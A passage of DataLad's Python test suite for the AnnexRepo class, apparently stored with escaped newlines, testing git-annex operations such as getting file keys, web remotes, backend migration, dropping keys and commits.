assert_false(ar.is_crippled_fs())\\n # since we can't remove the entry, just rename it to fake its absence:\\n ar.config.rename_section(\\\"annex\\\", \\\"removed\\\", scope='local')\\n ar.config.set(\\\"annex.something\\\", \\\"value\\\", scope='local')\\n assert_false(ar.is_crippled_fs())\\n\\n\\n@known_failure_githubci_win\\n@with_tempfile\\n@assert_cwd_unchanged\\ndef test_AnnexRepo_is_direct_mode(path=None):\\n\\n ar = AnnexRepo(path)\\n eq_(ar.config.getbool(\\\"annex\\\", \\\"direct\\\", False),\\n ar.is_direct_mode())\\n\\n\\n@known_failure_githubci_win\\n@with_tempfile()\\ndef test_AnnexRepo_is_direct_mode_gitrepo(path=None):\\n repo = GitRepo(path, create=True)\\n # artificially make .git/annex so no annex section gets initialized\\n # in .git/config. We did manage somehow to make this happen (via publish)\\n # but didn't reproduce yet, so just creating manually\\n mkdir(opj(repo.path, '.git', 'annex'))\\n ar = AnnexRepo(path, init=False, create=False)\\n # It is unlikely though that annex would be in direct mode (requires explicit)\\n # annex magic, without having annex section under .git/config\\n dm = ar.is_direct_mode()\\n # no direct mode, ever\\n assert_false(dm)\\n\\n\\n# ignore warning since we are testing that function here. Remove upon full deprecation\\n@pytest.mark.filterwarnings(r\\\"ignore: AnnexRepo.get_file_key\\\\(\\\\) is deprecated\\\")\\n@assert_cwd_unchanged\\n@with_tempfile\\ndef test_AnnexRepo_get_file_key(annex_path=None):\\n\\n ar = AnnexRepo(annex_path)\\n (ar.pathobj / 'test.dat').write_text('123\\\\n')\\n ar.save('test.dat', git=True)\\n (ar.pathobj / 'test-annex.dat').write_text(\\n \\\"content to be annex-addurl'd\\\")\\n ar.save('some')\\n\\n # test-annex.dat should return the correct key:\\n test_annex_key = \\\\\\n 'SHA256E-s28' \\\\\\n '--2795fb26981c5a687b9bf44930cc220029223f472cea0f0b17274f4473181e7b.dat'\\n eq_(ar.get_file_key(\\\"test-annex.dat\\\"), test_annex_key)\\n\\n # and should take a list with an empty string as result, if a file wasn't\\n # in annex:\\n eq_(\\n ar.get_file_key([\\\"filenotpresent.wtf\\\", \\\"test-annex.dat\\\"]),\\n ['', test_annex_key]\\n )\\n\\n # test.dat is actually in git\\n # should raise Exception; also test for polymorphism\\n assert_raises(IOError, ar.get_file_key, \\\"test.dat\\\")\\n assert_raises(FileNotInAnnexError, ar.get_file_key, \\\"test.dat\\\")\\n assert_raises(FileInGitError, ar.get_file_key, \\\"test.dat\\\")\\n\\n # filenotpresent.wtf doesn't even exist\\n assert_raises(IOError, ar.get_file_key, \\\"filenotpresent.wtf\\\")\\n\\n # if we force batch mode, no failure for not present or not annexed files\\n eq_(ar.get_file_key(\\\"filenotpresent.wtf\\\", batch=True), '')\\n eq_(ar.get_file_key(\\\"test.dat\\\", batch=True), '')\\n eq_(ar.get_file_key(\\\"test-annex.dat\\\", batch=True), test_annex_key)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_AnnexRepo_get_outofspace(annex_path=None):\\n ar = AnnexRepo(annex_path, create=True)\\n\\n def raise_cmderror(*args, **kwargs):\\n raise CommandError(\\n cmd=\\\"whatever\\\",\\n stderr=\\\"junk around not enough free space, need 905.6 MB more and after\\\"\\n )\\n\\n with patch.object(GitWitlessRunner, 'run_on_filelist_chunks', raise_cmderror) as cma, \\\\\\n assert_raises(OutOfSpaceError) as cme:\\n ar.get(\\\"file\\\")\\n exc = cme.value\\n eq_(exc.sizemore_msg, '905.6 MB')\\n assert_re_in(\\\".*annex.*(find|get).*needs 905.6 MB more\\\", str(exc), re.DOTALL)\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_get_remote_na(src=None, path=None):\\n origin = AnnexRepo(src, create=True)\\n (origin.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n origin.save()\\n ar = AnnexRepo.clone(src, path)\\n\\n with assert_raises(RemoteNotAvailableError) as cme:\\n ar.get('test-annex.dat', options=[\\\"--from=NotExistingRemote\\\"])\\n eq_(cme.value.remote, \\\"NotExistingRemote\\\")\\n\\n # and similar one whenever invoking with remote parameter\\n with assert_raises(RemoteNotAvailableError) as cme:\\n ar.get('test-annex.dat', remote=\\\"NotExistingRemote\\\")\\n eq_(cme.value.remote, \\\"NotExistingRemote\\\")\\n\\n\\n@with_sameas_remote\\ndef test_annex_repo_sameas_special(repo=None):\\n remotes = repo.get_special_remotes()\\n eq_(len(remotes), 2)\\n rsync_info = [v for v in remotes.values()\\n if v.get(\\\"sameas-name\\\") == \\\"r_rsync\\\"]\\n eq_(len(rsync_info), 1)\\n # r_rsync is a sameas remote that points to r_dir. Its sameas-name value\\n # has been copied under \\\"name\\\".\\n eq_(rsync_info[0][\\\"name\\\"], rsync_info[0][\\\"sameas-name\\\"])\\n\\n\\n# 1 is enough to test file_has_content\\n@with_parametric_batch\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_file_has_content(src=None, annex_path=None, *, batch):\\n origin = AnnexRepo(src)\\n (origin.pathobj / 'test.dat').write_text('123\\\\n')\\n origin.save('test.dat', git=True)\\n (origin.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n origin.save('some')\\n ar = AnnexRepo.clone(src, annex_path)\\n testfiles = [\\\"test-annex.dat\\\", \\\"test.dat\\\"]\\n\\n eq_(ar.file_has_content(testfiles), [False, False])\\n\\n ok_annex_get(ar, \\\"test-annex.dat\\\")\\n eq_(ar.file_has_content(testfiles, batch=batch), [True, False])\\n eq_(ar.file_has_content(testfiles[:1], batch=batch), [True])\\n\\n eq_(ar.file_has_content(testfiles + [\\\"bogus.txt\\\"], batch=batch),\\n [True, False, False])\\n\\n assert_false(ar.file_has_content(\\\"bogus.txt\\\", batch=batch))\\n ok_(ar.file_has_content(\\\"test-annex.dat\\\", batch=batch))\\n\\n ar.unlock([\\\"test-annex.dat\\\"])\\n eq_(ar.file_has_content([\\\"test-annex.dat\\\"], batch=batch),\\n [True])\\n with open(opj(annex_path, \\\"test-annex.dat\\\"), \\\"a\\\") as ofh:\\n ofh.write(\\\"more\\\")\\n eq_(ar.file_has_content([\\\"test-annex.dat\\\"], batch=batch),\\n [False])\\n\\n\\n# 1 is enough to test\\n@xfail_buggy_annex_info\\n@with_parametric_batch\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_is_under_annex(src=None, annex_path=None, *, batch):\\n origin = AnnexRepo(src)\\n (origin.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n origin.save('some')\\n ar = AnnexRepo.clone(src, annex_path)\\n\\n with open(opj(annex_path, 'not-committed.txt'), 'w') as f:\\n f.write(\\\"aaa\\\")\\n\\n testfiles = [\\\"test-annex.dat\\\", \\\"not-committed.txt\\\", \\\"INFO.txt\\\"]\\n # wouldn't change\\n target_value = [True, False, False]\\n eq_(ar.is_under_annex(testfiles, batch=batch), target_value)\\n\\n ok_annex_get(ar, \\\"test-annex.dat\\\")\\n eq_(ar.is_under_annex(testfiles, batch=batch), target_value)\\n eq_(ar.is_under_annex(testfiles[:1], batch=batch), target_value[:1])\\n eq_(ar.is_under_annex(testfiles[1:], batch=batch), target_value[1:])\\n\\n eq_(ar.is_under_annex(testfiles + [\\\"bogus.txt\\\"], batch=batch),\\n target_value + [False])\\n\\n assert_false(ar.is_under_annex(\\\"bogus.txt\\\", batch=batch))\\n ok_(ar.is_under_annex(\\\"test-annex.dat\\\", batch=batch))\\n\\n ar.unlock([\\\"test-annex.dat\\\"])\\n eq_(ar.is_under_annex([\\\"test-annex.dat\\\"], batch=batch),\\n [True])\\n with open(opj(annex_path, \\\"test-annex.dat\\\"), \\\"a\\\") as ofh:\\n ofh.write(\\\"more\\\")\\n eq_(ar.is_under_annex([\\\"test-annex.dat\\\"], batch=batch),\\n [False])\\n\\n\\n@xfail_buggy_annex_info\\n@with_tree(tree=(('about.txt', 'Lots of abouts'),\\n ('about2.txt', 'more abouts'),\\n ('d', {'sub.txt': 'more stuff'})))\\n@serve_path_via_http()\\n@with_tempfile\\ndef test_AnnexRepo_web_remote(sitepath=None, siteurl=None, dst=None):\\n\\n ar = AnnexRepo(dst, create=True)\\n testurl = urljoin(siteurl, 'about.txt')\\n testurl2 = urljoin(siteurl, 'about2.txt')\\n testurl3 = urljoin(siteurl, 'd/sub.txt')\\n url_file_prefix = urlsplit(testurl).netloc.split(':')[0]\\n testfile = '%s_about.txt' % url_file_prefix\\n testfile2 = '%s_about2.txt' % url_file_prefix\\n testfile3 = opj('d', 'sub.txt')\\n\\n # get the file from remote\\n with swallow_outputs() as cmo:\\n ar.add_url_to_file(testfile, testurl)\\n l = ar.whereis(testfile)\\n assert_in(WEB_SPECIAL_REMOTE_UUID, l)\\n eq_(len(l), 2)\\n ok_(ar.file_has_content(testfile))\\n\\n # output='full'\\n lfull = ar.whereis(testfile, output='full')\\n eq_(set(lfull), set(l)) # the same entries\\n non_web_remote = l[1 - l.index(WEB_SPECIAL_REMOTE_UUID)]\\n assert_in('urls', lfull[non_web_remote])\\n eq_(lfull[non_web_remote]['urls'], [])\\n assert_not_in('uuid', lfull[WEB_SPECIAL_REMOTE_UUID]) # no uuid in the records\\n eq_(lfull[WEB_SPECIAL_REMOTE_UUID]['urls'], [testurl])\\n assert_equal(lfull[WEB_SPECIAL_REMOTE_UUID]['description'], 'web')\\n\\n # --all and --key are incompatible\\n assert_raises(CommandError, ar.whereis, [testfile], options='--all', output='full', key=True)\\n\\n # output='descriptions'\\n ldesc = ar.whereis(testfile, output='descriptions')\\n eq_(set(ldesc), set([v['description'] for v in lfull.values()]))\\n\\n # info w/ and w/o fast mode\\n for fast in [True, False]:\\n info = ar.info(testfile, fast=fast)\\n eq_(info['size'], 14)\\n assert(info['key']) # that it is there\\n info_batched = ar.info(testfile, batch=True, fast=fast)\\n eq_(info, info_batched)\\n # while at it ;)\\n with swallow_outputs() as cmo:\\n eq_(ar.info('nonexistent', batch=False), None)\\n eq_(ar.info('nonexistent-batch', batch=True), None)\\n eq_(cmo.out, '')\\n eq_(cmo.err, '')\\n ar.precommit() # to stop all the batched processes for swallow_outputs\\n\\n # annex repo info\\n repo_info = ar.repo_info(fast=False)\\n eq_(repo_info['local annex size'], 14)\\n eq_(repo_info['backend usage'], {'SHA256E': 1})\\n # annex repo info in fast mode\\n repo_info_fast = ar.repo_info(fast=True)\\n # doesn't give much testable info, so just comparing a subset for match with repo_info info\\n eq_(repo_info_fast['semitrusted repositories'], repo_info['semitrusted repositories'])\\n #import pprint; pprint.pprint(repo_info)\\n\\n # remove the remote\\n ar.rm_url(testfile, testurl)\\n l = ar.whereis(testfile)\\n assert_not_in(WEB_SPECIAL_REMOTE_UUID, l)\\n eq_(len(l), 1)\\n\\n # now only 1 copy; drop should fail\\n try:\\n res = ar.drop(testfile)\\n except CommandError as e:\\n # there should be at least one result that was captured\\n # TODO think about a more standard way of accessing such\\n # records in a CommandError, maybe having a more specialized\\n # exception derived from CommandError\\n res = e.kwargs['stdout_json'][0]\\n eq_(res['command'], 'drop')\\n eq_(res['success'], False)\\n assert_in('adjust numcopies', res['note'])\\n\\n # read the url using different method\\n ar.add_url_to_file(testfile, testurl)\\n l = ar.whereis(testfile)\\n assert_in(WEB_SPECIAL_REMOTE_UUID, l)\\n eq_(len(l), 2)\\n ok_(ar.file_has_content(testfile))\\n\\n # 2 known copies now; drop should succeed\\n ar.drop(testfile)\\n l = ar.whereis(testfile)\\n assert_in(WEB_SPECIAL_REMOTE_UUID, l)\\n eq_(len(l), 1)\\n assert_false(ar.file_has_content(testfile))\\n lfull = ar.whereis(testfile, output='full')\\n assert_not_in(non_web_remote, lfull) # not present -- so not even listed\\n\\n # multiple files/urls\\n # get the file from remote\\n with swallow_outputs() as cmo:\\n ar.add_url_to_file(testfile2, testurl2)\\n\\n # TODO: if we ask for whereis on all files, we should get for all files\\n lall = ar.whereis('.')\\n eq_(len(lall), 2)\\n for e in lall:\\n assert(isinstance(e, list))\\n # but we don't know which one for which file. need a 'full' one for that\\n lall_full = ar.whereis('.', output='full')\\n ok_(ar.file_has_content(testfile2))\\n ok_(lall_full[testfile2][non_web_remote]['here'])\\n eq_(set(lall_full), {testfile, testfile2})\\n\\n # add a bogus 2nd url to testfile\\n\\n someurl = \\\"http://example.com/someurl\\\"\\n ar.add_url_to_file(testfile, someurl, options=['--relaxed'])\\n lfull = ar.whereis(testfile, output='full')\\n eq_(set(lfull[WEB_SPECIAL_REMOTE_UUID]['urls']), {testurl, someurl})\\n\\n # and now test with a file in subdirectory\\n subdir = opj(dst, 'd')\\n os.mkdir(subdir)\\n with swallow_outputs() as cmo:\\n ar.add_url_to_file(testfile3, url=testurl3)\\n ok_file_has_content(opj(dst, testfile3), 'more stuff')\\n eq_(set(ar.whereis(testfile3)), {WEB_SPECIAL_REMOTE_UUID, non_web_remote})\\n eq_(set(ar.whereis(testfile3, output='full').keys()), {WEB_SPECIAL_REMOTE_UUID, non_web_remote})\\n\\n # and if we ask for both files\\n info2 = ar.info([testfile, testfile3])\\n eq_(set(info2), {testfile, testfile3})\\n eq_(info2[testfile3]['size'], 10)\\n\\n full = ar.whereis([], options='--all', output='full')\\n eq_(len(full.keys()), 3) # we asked for all files -- got 3 keys\\n assert_in(WEB_SPECIAL_REMOTE_UUID, full['SHA256E-s10--a978713ea759207f7a6f9ebc9eaebd1b40a69ae408410ddf544463f6d33a30e1.txt'])\\n\\n # which would work even if we cd to that subdir, but then we should use explicit curdir\\n with chpwd(subdir):\\n cur_subfile = opj(curdir, 'sub.txt')\\n eq_(set(ar.whereis(cur_subfile)), {WEB_SPECIAL_REMOTE_UUID, non_web_remote})\\n eq_(set(ar.whereis(cur_subfile, output='full').keys()), {WEB_SPECIAL_REMOTE_UUID, non_web_remote})\\n testfiles = [cur_subfile, opj(pardir, testfile)]\\n info2_ = ar.info(testfiles)\\n # Should maintain original relative file names\\n eq_(set(info2_), set(testfiles))\\n eq_(info2_[cur_subfile]['size'], 10)\\n\\n\\n@with_tree(tree={\\\"a.txt\\\": \\\"a\\\",\\n \\\"b\\\": \\\"b\\\",\\n OBSCURE_FILENAME: \\\"c\\\",\\n \\\"subdir\\\": {\\\"d\\\": \\\"d\\\", \\\"e\\\": \\\"e\\\"}})\\ndef test_find_batch_equivalence(path=None):\\n ar = AnnexRepo(path)\\n files = [\\\"a.txt\\\", \\\"b\\\", OBSCURE_FILENAME]\\n ar.add(files + [\\\"subdir\\\"])\\n ar.commit(\\\"add files\\\")\\n query = [\\\"not-there\\\"] + files\\n expected = {f: f for f in files}\\n expected.update({\\\"not-there\\\": \\\"\\\"})\\n eq_(expected, ar.find(query, batch=True))\\n eq_(expected, ar.find(query))\\n # If we give a subdirectory, we split that output.\\n eq_(set(ar.find([\\\"subdir\\\"])[\\\"subdir\\\"]), {\\\"subdir/d\\\", \\\"subdir/e\\\"})\\n eq_(ar.find([\\\"subdir\\\"]), ar.find([\\\"subdir\\\"], batch=True))\\n # manually ensure that no annex batch processes are around anymore\\n # that make the test cleanup break on windows.\\n # story at https://github.com/datalad/datalad/issues/4190\\n # even an explicit `del ar` does not get it done\\n ar._batched.close()\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_repo_info(path=None):\\n repo = AnnexRepo(path)\\n info = repo.repo_info() # works in empty repo without crashing\\n eq_(info['local annex size'], 0)\\n eq_(info['size of annexed files in working tree'], 0)\\n\\n def get_custom(custom={}):\\n \\\"\\\"\\\"Need a helper since repo_info modifies in place so we should generate\\n new each time\\n \\\"\\\"\\\"\\n custom_json = {\\n 'available local disk space': 'unknown',\\n 'size of annexed files in working tree': \\\"0\\\",\\n 'success': True,\\n 'command': 'info',\\n }\\n if custom:\\n custom_json.update(custom)\\n return [custom_json]\\n\\n with patch.object(\\n repo, '_call_annex_records',\\n return_value=get_custom()):\\n info = repo.repo_info()\\n eq_(info['available local disk space'], None)\\n\\n with patch.object(\\n repo, '_call_annex_records',\\n return_value=get_custom({\\n \\\"available local disk space\\\": \\\"19193986496 (+100000 reserved)\\\"})):\\n info = repo.repo_info()\\n eq_(info['available local disk space'], 19193986496)\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_migrating_backends(src=None, dst=None):\\n origin = AnnexRepo(src)\\n (origin.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n origin.save('some')\\n ar = AnnexRepo.clone(src, dst, backend='MD5')\\n eq_(ar.default_backends, ['MD5'])\\n # GitPython has a bug which causes .git/config being wiped out\\n # under Python3, triggered by collecting its config instance I guess\\n gc.collect()\\n ok_git_config_not_empty(ar) # Must not blow, see https://github.com/gitpython-developers/GitPython/issues/333\\n\\n filename = get_most_obscure_supported_name()\\n filename_abs = os.path.join(dst, filename)\\n f = open(filename_abs, 'w')\\n f.write(\\\"What to write?\\\")\\n f.close()\\n\\n ar.add(filename, backend='MD5')\\n eq_(ar.get_file_backend(filename), 'MD5')\\n eq_(ar.get_file_backend('test-annex.dat'), 'SHA256E')\\n\\n # migrating will only do, if file is present\\n ok_annex_get(ar, 'test-annex.dat')\\n\\n eq_(ar.get_file_backend('test-annex.dat'), 'SHA256E')\\n ar.migrate_backend('test-annex.dat')\\n eq_(ar.get_file_backend('test-annex.dat'), 'MD5')\\n\\n ar.migrate_backend('', backend='SHA1')\\n eq_(ar.get_file_backend(filename), 'SHA1')\\n eq_(ar.get_file_backend('test-annex.dat'), 'SHA1')\\n\\n\\ntree1args = dict(\\n tree=(\\n ('firstfile', 'whatever'),\\n ('secondfile', 'something else'),\\n ('remotefile', 'pretends to be remote'),\\n ('faraway', 'incredibly remote')),\\n)\\n\\n# keys for files if above tree is generated and added to annex with MD5E backend\\ntree1_md5e_keys = {\\n 'firstfile': 'MD5E-s8--008c5926ca861023c1d2a36653fd88e2',\\n 'faraway': 'MD5E-s17--5b849ed02f914d3bbb5038fe4e3fead9',\\n 'secondfile': 'MD5E-s14--6c7ba9c5a141421e1c03cb9807c97c74',\\n 'remotefile': 'MD5E-s21--bf7654b3de20d5926d407ea7d913deb0'\\n}\\n\\n# this code is only here for documentation purposes\\n# @with_tree(**tree1args)\\n# def __test_get_md5s(path):\\n# # was used just to generate above dict\\n# annex = AnnexRepo(path, init=True, backend='MD5E')\\n# files = [basename(f) for f in find_files('.*', path)]\\n# annex.add(files)\\n# annex.commit()\\n# print({f: p['key'] for f, p in annex.get_content_annexinfo(files)})\\n\\n\\n@with_parametric_batch\\n@with_tree(**tree1args)\\ndef test_dropkey(path=None, *, batch):\\n kw = {'batch': batch}\\n annex = AnnexRepo(path, init=True, backend='MD5E')\\n files = list(tree1_md5e_keys)\\n annex.add(files)\\n annex.commit()\\n # drop one key\\n annex.drop_key(tree1_md5e_keys[files[0]], **kw)\\n # drop multiple\\n annex.drop_key([tree1_md5e_keys[f] for f in files[1:3]], **kw)\\n # drop already dropped -- should work as well atm\\n # https://git-annex.branchable.com/bugs/dropkey_--batch_--json_--force_is_always_succesfull\\n annex.drop_key(tree1_md5e_keys[files[0]], **kw)\\n # and a mix with already dropped or not\\n annex.drop_key(list(tree1_md5e_keys.values()), **kw)\\n # AnnexRepo is not able to guarantee that all batched processes are\\n # terminated when test cleanup code runs, avoid a crash (i.e. resource busy)\\n annex._batched.close()\\n\\n\\n@with_tree(**tree1args)\\n@serve_path_via_http()\\ndef test_AnnexRepo_backend_option(path=None, url=None):\\n ar = AnnexRepo(path, backend='MD5')\\n\\n # backend recorded in .gitattributes\\n eq_(ar.get_gitattributes('.')['.']['annex.backend'], 'MD5')\\n\\n ar.add('firstfile', backend='SHA1')\\n ar.add('secondfile')\\n eq_(ar.get_file_backend('firstfile'), 'SHA1')\\n eq_(ar.get_file_backend('secondfile'), 'MD5')\\n\\n with swallow_outputs() as cmo:\\n # must be added under different name since annex 20160114\\n ar.add_url_to_file('remotefile2', url + 'remotefile', backend='SHA1')\\n eq_(ar.get_file_backend('remotefile2'), 'SHA1')\\n\\n with swallow_outputs() as cmo:\\n ar.add_url_to_file('from_faraway', url + 'faraway', backend='SHA1')\\n eq_(ar.get_file_backend('from_faraway'), 'SHA1')\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_get_file_backend(src=None, dst=None):\\n origin = AnnexRepo(src, create=True)\\n (origin.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n origin.save()\\n\\n ar = AnnexRepo.clone(src, dst)\\n\\n eq_(ar.get_file_backend('test-annex.dat'), 'SHA256E')\\n # no migration\\n ok_annex_get(ar, 'test-annex.dat', network=False)\\n ar.migrate_backend('test-annex.dat', backend='SHA1')\\n eq_(ar.get_file_backend('test-annex.dat'), 'SHA1')\\n\\n\\n@skip_if_adjusted_branch\\n@with_tempfile\\ndef test_AnnexRepo_always_commit(path=None):\\n\\n repo = AnnexRepo(path)\\n\\n def get_annex_commit_counts():\\n return len(repo.get_revisions(\\\"git-annex\\\"))\\n\\n n_annex_commits_initial = get_annex_commit_counts()\\n\\n file1 = get_most_obscure_supported_name() + \\\"_1\\\"\\n file2 = get_most_obscure_supported_name() + \\\"_2\\\"\\n with open(opj(path, file1), 'w') as f:\\n f.write(\\\"First file.\\\")\\n with open(opj(path, file2), 'w') as f:\\n f.write(\\\"Second file.\\\")\\n\\n # always_commit == True is expected to be default\\n repo.add(file1)\\n\\n # Now git-annex log should show the addition:\\n out_list = list(repo.call_annex_items_(['log']))\\n eq_(len(out_list), 1)\\n\\n quote = lambda s: s.replace('\\\"', r'\\\\\\\"')\\n def assert_in_out(filename, out):\\n filename_quoted = quote(filename)\\n if repo._check_version_kludges('quotepath-respected') == \\\"no\\\":\\n assert_in(filename, out)\\n elif repo._check_version_kludges('quotepath-respected') == \\\"maybe\\\":\\n assert filename in out or filename_quoted in out\\n else:\\n assert_in(filename_quoted, out)\\n assert_in_out(file1, out_list[0])\\n\\n # check git log of git-annex branch:\\n # expected: initial creation, update (by annex add) and another\\n # update (by annex log)\\n eq_(get_annex_commit_counts(), n_annex_commits_initial + 1)\\n\\n with patch.object(repo, \\\"always_commit\\\", False):\\n repo.add(file2)\\n\\n # No additional git commit:\\n eq_(get_annex_commit_counts(), n_annex_commits_initial + 1)\\n\\n out = repo.call_annex(['log'])\\n\\n # And we see only the file before always_commit was set to false:\\n assert_in_out(file1, out)\\n assert_not_in(file2, out)\\n assert_not_in(quote(file2), out)\\n\\n # With always_commit back to True, do something that will trigger a commit\\n # on the annex branches.\\n repo.call_annex(['sync'])\\n\\n out = repo.call_annex(['log'])\\n assert_in_out(file1, out)\\n assert_in_out(file2, out)\\n\\n # Now git knows as well:\\n eq_(get_annex_commit_counts(), n_annex_commits_initial + 2)\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_on_uninited_annex(src=None, path=None):\\n origin = AnnexRepo(src, create=True)\\n (origin.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n origin.save()\\n # \\\"Manually\\\" clone to avoid initialization:\\n runner = Runner()\\n runner.run([\\\"git\\\", \\\"clone\\\", origin.path, path])\\n\\n assert_false(exists(opj(path, '.git', 'annex'))) # must not be there for this test to be valid\\n annex = AnnexRepo(path, create=False, init=False) # so we can initialize without\\n # and still can get our things\\n assert_false(annex.file_has_content('test-annex.dat'))\\n annex.get('test-annex.dat')\\n ok_(annex.file_has_content('test-annex.dat'))\\n\\n\\n@assert_cwd_unchanged\\n@with_tempfile\\ndef test_AnnexRepo_commit(path=None):\\n\\n ds = AnnexRepo(path, create=True)\\n filename = opj(path, get_most_obscure_supported_name())\\n with open(filename, 'w') as f:\\n f.write(\\\"File to add to git\\\")\\n ds.add(filename, git=True)\\n\\n assert_raises(AssertionError, assert_repo_status, path, annex=True)\\n\\n ds.commit(\\\"test _commit\\\")\\n assert_repo_status(path, annex=True)\\n\\n # nothing to commit doesn't raise by default:\\n ds.commit()\\n # but does with careless=False:\\n assert_raises(CommandError, ds.commit, careless=False)\\n\\n # committing untracked file raises:\\n with open(opj(path, \\\"untracked\\\"), \\\"w\\\") as f:\\n f.write(\\\"some\\\")\\n assert_raises(FileNotInRepositoryError, ds.commit, files=\\\"untracked\\\")\\n # not existing file as well:\\n assert_raises(FileNotInRepositoryError, ds.commit, files=\\\"not-existing\\\")\\n\\n\\n@with_tempfile\\ndef test_AnnexRepo_add_to_annex(path=None):\\n repo = AnnexRepo(path)\\n\\n assert_repo_status(repo, annex=True)\\n filename = get_most_obscure_supported_name()\\n filename_abs = opj(repo.path, filename)\\n with open(filename_abs, \\\"w\\\") as f:\\n f.write(\\\"some\\\")\\n\\n out_json = repo.add(filename)\\n # file is known to annex:\\n ok_(repo.is_under_annex(filename_abs),\\n \\\"Annexed file is not a link.\\\")\\n assert_in('key', out_json)\\n key = repo.get_file_annexinfo(filename)['key']\\n assert_false(key == '')\\n assert_equal(key, out_json['key'])\\n ok_(repo.file_has_content(filename))\\n\\n # uncommitted:\\n ok_(repo.dirty)\\n\\n repo.commit(\\\"Added file to annex.\\\")\\n assert_repo_status(repo, annex=True)\\n\\n # now using commit/msg options:\\n filename = \\\"another.txt\\\"\\n with open(opj(repo.path, filename), \\\"w\\\") as f:\\n f.write(\\\"something else\\\")\\n\\n repo.add(filename)\\n repo.commit(msg=\\\"Added another file to annex.\\\")\\n # known to annex:\\n fileprops = repo.get_file_annexinfo(filename, eval_availability=True)\\n ok_(fileprops['key'])\\n ok_(fileprops['has_content'])\\n\\n # and committed:\\n assert_repo_status(repo, annex=True)\\n\\n\\n@with_tempfile\\ndef test_AnnexRepo_add_to_git(path=None):\\n repo = AnnexRepo(path)\\n\\n assert_repo_status(repo, annex=True)\\n filename = get_most_obscure_supported_name()\\n with open(opj(repo.path, filename), \\\"w\\\") as f:\\n f.write(\\\"some\\\")\\n repo.add(filename, git=True)\\n\\n # not in annex, but in git:\\n eq_(repo.get_file_annexinfo(filename), {})\\n # uncommitted:\\n ok_(repo.dirty)\\n repo.commit(\\\"Added file to annex.\\\")\\n assert_repo_status(repo, annex=True)\\n\\n # now using commit/msg options:\\n filename = \\\"another.txt\\\"\\n with open(opj(repo.path, filename), \\\"w\\\") as f:\\n f.write(\\\"something else\\\")\\n\\n repo.add(filename, git=True)\\n repo.commit(msg=\\\"Added another file to annex.\\\")\\n # not in annex, but in git:\\n eq_(repo.get_file_annexinfo(filename), {})\\n\\n # and committed:\\n assert_repo_status(repo, annex=True)\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_get(src=None, dst=None):\\n ar = AnnexRepo(src)\\n (ar.pathobj / 'test-annex.dat').write_text(\\n \\\"content to be annex-addurl'd\\\")\\n ar.save('some')\\n\\n annex = AnnexRepo.clone(src, dst)\\n assert_is_instance(annex, AnnexRepo, \\\"AnnexRepo was not created.\\\")\\n testfile = 'test-annex.dat'\\n testfile_abs = opj(dst, testfile)\\n assert_false(annex.file_has_content(\\\"test-annex.dat\\\"))\\n with swallow_outputs():\\n annex.get(testfile)\\n ok_(annex.file_has_content(\\\"test-annex.dat\\\"))\\n ok_file_has_content(testfile_abs, \\\"content to be annex-addurl'd\\\", strip=True)\\n\\n called = []\\n # for some reason yoh failed mock to properly just call original func\\n orig_run = annex._git_runner.run_on_filelist_chunks\\n\\n def check_run(cmd, files, **kwargs):\\n cmd_name = cmd[cmd.index('annex') + 1]\\n called.append(cmd_name)\\n if cmd_name == 'find':\\n assert_not_in('-J5', cmd)\\n elif cmd_name == 'get':\\n assert_in('-J5', cmd)\\n else:\\n raise AssertionError(\\n \\\"no other commands so far should be ran. Got %s\\\" % cmd\\n )\\n return orig_run(cmd, files, **kwargs)\\n\\n annex.drop(testfile)\\n with patch.object(GitWitlessRunner, 'run_on_filelist_chunks',\\n side_effect=check_run), \\\\\\n swallow_outputs():\\n annex.get(testfile, jobs=5)\\n eq_(called, ['find', 'get'])\\n ok_file_has_content(testfile_abs, \\\"content to be annex-addurl'd\\\", strip=True)\\n\\n\\n@with_tree(tree={'file.dat': 'content'})\\n@with_tempfile\\ndef test_v7_detached_get(opath=None, path=None):\\n # http://git-annex.branchable.com/bugs/get_fails_to_place_v7_unlocked_file_content_into_the_file_tree_in_v7_in_repo_with_detached_HEAD/\\n origin = AnnexRepo(opath, create=True, version=7)\\n GitRepo.add(origin, 'file.dat') # force direct `git add` invocation\\n origin.commit('added')\\n\\n AnnexRepo.clone(opath, path)\\n repo = AnnexRepo(path)\\n # test getting in a detached HEAD\\n repo.checkout('HEAD^{}')\\n repo.call_annex(['upgrade']) # TODO: .upgrade ?\\n\\n repo.get('file.dat')\\n ok_file_has_content(op.join(repo.path, 'file.dat'), \\\"content\\\")\\n\\n\\n# TODO:\\n#def init_remote(self, name, options):\\n#def enable_remote(self, name):\\n\\n@pytest.mark.parametrize(\\\"batch\\\", [False, True])\\n@with_tempfile\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_get_contentlocation(src=None, path=None, work_dir_outside=None, *, batch):\\n ar = AnnexRepo(src)\\n (ar.pathobj / 'test-annex.dat').write_text(\\n \\\"content to be annex-addurl'd\\\")\\n ar.save('some')\\n\\n annex = AnnexRepo.clone(src, path)\\n fname = 'test-annex.dat'\\n key = annex.get_file_annexinfo(fname)['key']\\n # MIH at this point the whole test and get_contentlocation() itself\\n # is somewhat moot. The above call already has properties like\\n # 'hashdirmixed', 'hashdirlower', and 'key' from which the location\\n # could be built.\\n # with eval_availability=True, it also has 'objloc' with a absolute\\n # path to a verified annex key location\\n\\n # TODO: see if we can avoid this or specify custom exception\\n eq_(annex.get_contentlocation(key, batch=batch), '')\\n\\n with swallow_outputs() as cmo:\\n annex.get(fname)\\n key_location = annex.get_contentlocation(key, batch=batch)\\n assert(key_location)\\n\\n if annex.is_managed_branch():\\n # the rest of the test assumes annexed files being symlinks\\n return\\n\\n # they both should point to the same location eventually\\n eq_((annex.pathobj / 